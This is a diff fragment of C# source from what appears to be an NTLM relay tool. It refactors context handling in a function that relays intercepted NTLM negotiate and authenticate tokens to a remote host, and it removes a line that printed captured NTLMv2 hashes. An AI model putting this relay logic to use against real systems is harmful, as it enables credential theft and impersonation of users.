@@ -194,18 +194,23 @@ static BitseryObject ProcessRelayRequest(RelayRequest relayRequest) {
194
194
var token = NtlmAuthenticationToken . Parse ( relayRequest . Token ) ;
195
195
BitseryObject lsaResponse ;
196
196
bool doPassive = DoPassiveMode ( relayRequest . ProcessID ) ;
197
+ NtlmAuth authContext ;
197
198
198
- if ( token is NtlmNegotiateAuthenticationToken ) {
199
-
200
- var newAuthContext = new NtlmAuth ( relayRequest . Context , ! doPassive ? new NtlmRelayChallengeResponse ( host , port ) : null ) ;
201
- activeContext [ newAuthContext . Context ] = newAuthContext ;
199
+ if ( ! activeContext . ContainsKey ( relayRequest . Context ) ) {
200
+ authContext = new NtlmAuth ( relayRequest . Context , ! doPassive ? new NtlmRelayChallengeResponse ( host , port ) : null ) ;
201
+ activeContext [ authContext . Context ] = authContext ;
202
+ } else {
203
+ authContext = activeContext [ relayRequest . Context ] ;
204
+ }
202
205
206
+ if ( token is NtlmNegotiateAuthenticationToken ) {
207
+
203
208
if ( ! doPassive ) {
204
- var relayResponse = newAuthContext . Relayer . GetChallengeToken ( relayRequest . Token ) ;
209
+ var relayResponse = authContext . Relayer . GetChallengeToken ( relayRequest . Token ) ;
205
210
206
211
if ( relayResponse . Length > 0 ) {
207
212
lsaResponse = new RelayChallengeResponse ( relayResponse ) ;
208
- newAuthContext . Challenge = ( NtlmChallengeAuthenticationToken ) NtlmAuthenticationToken . Parse ( relayResponse ) ;
213
+ authContext . Challenge = ( NtlmChallengeAuthenticationToken ) NtlmAuthenticationToken . Parse ( relayResponse ) ;
209
214
} else {
210
215
Console . WriteLine ( $ "[!] Failed to relay NTLM Type 1 and get challenge") ;
211
216
lsaResponse = new RelayChallengeResponse ( RelayStatus . Passive ) ;
@@ -223,15 +228,13 @@ static BitseryObject ProcessRelayRequest(RelayRequest relayRequest) {
223
228
224
229
} else {
225
230
226
- var authContext = activeContext [ relayRequest . Context ] ;
227
231
activeContext . Remove ( relayRequest . Context ) ;
228
232
authContext . Authentication = ntlmAuthenticate ;
229
233
bool ? success = null ;
230
234
string userName = $ "{ ntlmAuthenticate . Domain } \\ { ntlmAuthenticate . UserName } ";
231
235
232
236
if ( ! doPassive && ! string . IsNullOrEmpty ( ntlmAuthenticate . UserName ) ) {
233
237
success = authContext . Relayer . SendAuthenticateToken ( relayRequest . Token ) ;
234
- PrintNTLMv2 ( authContext , relayRequest . Process . ProcessName , success ) ;
235
238
236
239
UserInfo userInfo = new UserInfo ( ntlmAuthenticate . UserName , ntlmAuthenticate . Domain ) ;
237
240
@@ -258,12 +261,7 @@ static BitseryObject ProcessRelayRequest(RelayRequest relayRequest) {
258
261
259
262
} else if ( token is NtlmChallengeAuthenticationToken challengeToken ) {
260
263
261
- if ( activeContext . ContainsKey ( relayRequest . Context ) ) {
262
- activeContext [ relayRequest . Context ] . Challenge = challengeToken ;
263
- } else {
264
- Console . WriteLine ( "[!] Got passive NTLM challenge message without a valid context" ) ;
265
- }
266
-
264
+ authContext . Challenge = challengeToken ;
267
265
lsaResponse = new RelayChallengeResponse ( RelayStatus . Passive ) ;
268
266
269
267
} else {
0 commit comments